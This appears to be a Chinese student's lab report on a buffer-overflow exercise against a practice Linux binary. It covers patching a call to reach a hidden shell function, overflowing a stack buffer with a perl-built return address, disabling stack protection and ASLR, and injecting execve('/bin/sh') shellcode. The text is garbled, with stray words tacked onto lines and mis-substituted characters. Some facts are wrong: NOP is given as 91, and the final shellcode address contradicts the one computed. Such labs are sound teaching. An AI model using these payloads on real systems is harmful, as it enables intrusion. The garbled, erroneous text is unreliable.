一、什么是漏洞?漏洞有什么危害?linux
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点,攻击者能够对计算机系统进行攻击,从而达到必定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引发经济损失、机密泄露、隐私暴露、数据篡改等问题。shell
二、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(如下为16进制)编程
NOP:91,空指令
JNE: 75,条件跳转,判断是否等于,若不等于则跳转
JE :74,条件跳转,判断是否等于,若等于则跳转
JMP:E9,无条件转移
CMP:38~3D,比较两个数的大小sass
反汇编指令参数安全
objdump -C:将底层的符号名解码成用户级名字,除了去掉全部开头
objdump -d 反汇编那些应该还有指令机器码的section
objdump -f 显示objfile中每一个文件的总体头部摘要信息
objdump -h 显示目标文件各个section的头部摘要信息
objdump -i 显示对于 -b 或者 -m 选项可用的架构和目标格式列表
objdump -j name 仅仅显示指定section的信息
...网络
如何linux下使用16进制编辑器(参考博客)架构
使用VIM指令进入文件后,按下
键,输入 dom%!xxd
再按回车,能够把文件中的内容转换为16进制显示;转换后,能够输入%!xxd -r
再按回车转换回来。
本次实验对象为名为pwn1的pwn1的linux可执行文件。程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。编辑器
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。函数
实验分为三部分:
objdump -b part1 | more
,获得part1的汇编语言表示,找到关于咱们所要的函数跳转的部分:call 8048491<foo>
,这里8048491
就是foo函数的首地址。这条指令的机器码部分是e8 d7 ff ff ff
,其中e8是指令call
的机器码,后面的d7 ff ff ff
是目的地址减去eip
寄存器中地址的值,若是是负数要换算成补码。这里的e8 d7 ff ff ff
是8048491-80484ba
的结果换算成补码。为何是减去80484ba
而不是 80484b5
呢?由于eip
寄存器中存放的是下一条指令所在的地址。getshell
的首地址是804847d
。也就是说咱们须要把804847d-80484ba
的结果换算成补码,替换原来的e8 d7 ff ff ff
。计算结果是ff ff ff c3
:
后,键入%!xxd
,按回车,将文件内容转化为16进制表示/d7
搜索d7出现的地方。观察一下d7先后,肯定是咱们要修改的地方。确认后按i
进入编辑模式,把d7改成c3。:
后,键入%!xxd -r
将文件内容转化为原来的表示方式wq
保存并推出文件./part1
执行part1,输入ls
,发现执行结果是该目录下的文件名。说明修改为功。首先要知道,在“part2”中的main
函数调用的是foo
函数,foo
函数在执行完后会返回,也就是指向main函数中调用foo
函数这条指令的下一条指令。咱们要作的是利用foo
中的buf漏洞
,覆盖返回地址,使得在输入参数后直接执行shellcode
,而非foo
函数。附上一张图可以更加清晰地了解这一律念。
objdump -b part2 | more
,获得part2的汇编语言表示,找到关于咱们所要的部分:%ebp
占用的4字节,结果转换成十进制是32字节。%eip
寄存器。
gdb part2
进入调试页面r
开始运行,输入参数,而后输如info r
进行查看%eip
的值为0x35353535
,0x35
是5的ASCII码。这就说明了32字节之外的内容会被写进%eip
寄存器getshell
函数的首地址的ASCII码信息。从以前的截图能够知道其首地址为804847d
,因为是小端序列,因此咱们要输入的是32字节的内容+\x7d\x84\x04\x08
。\x表示的是转换为ASCII码
\x7d\x84\x04\x08
这样的16进制值,因此要使用指令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input
先生成包括这个字符串的一个文件。\x0a表示回车。%!xxd
转换为十六进制进行查看:cat
和管道,在执行“part2”的同时把文件“input”中的内容做为参数输入:(cat input ;cat) | ./part2
,再使用;s
命令和pwd
命令进行调试,能够看到结果。execstack
修改堆栈的设置
execstack -s part3//设置堆栈可执行
execstack -q part3//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看每次执行程序时堆栈位置是否移动
echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
more /proc/sys/kernel/randomize_va_space //关闭后查看结果
先构造一个shellcode语句,而且把这个语句写入到文件“input_3”中(参考老师的博客中给出的shellcode):
perl -e 'print "A" x 32;printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00" '>input_3
\x4\x3\x2\x1
用来暂时表示shellcode
代码的首地址,接下来咱们要作的是寻找其真正的首地址
一、在目前终端的命令行输入(cat input_3;cat) | ./part3
二、输入ps -ef | grep part3
来得到进程号。进程号为5013
。(从这里就能够知道为何在构造shellcode的时候不要有回车)
三、打开另外一终端,进入到实验文件所在目录,使用gbd进行调试。在gdb中输入attach 5013
,再输入disassemble foo
来查看注入内容的地址。
ret
这一句设置断点:break *0x080484ae
,而后切换至另外一终端,按下回车info -r rsp
来查看栈顶指针,为0xffd708ac
。再输入x/16x 0xffd708ac
查看指针指向的内容0xffd708ac
加上4就能获得shellcode的首地址为0xffd708b0
找到首地址后,切换终端,先终止当前进程。而后打开input_3将其修改成16进制表示后进行修改,把\x04\x03\x02\x01
修改成\xb0\x08\xff\x7d
再输入(cat input_3;cat) | ./part3
,再输入ls
进行验证。成功
本次实验内容虽然比较简单,可是我花了6个多小时来完成。对于实验内容中的每一步我都尽所能地去了解其中的原理,并把实验过程当中所学到的都作了笔记,来巩固本身的记忆。整体来讲收获仍是很大的,此次实验让我学会了缓冲区溢出攻击的基本原理和一些简单的方式。这是我第一次接触到这样的实验,感受颇有趣,期待接下来的其余实验~而且期待本身通过不断的学习可以成为一名黑客,可以主动地对某些主机发动简单的攻击(固然不会是恶意的,会找同窗互相尝试)。为了这一目标从此也会更加努力地学习。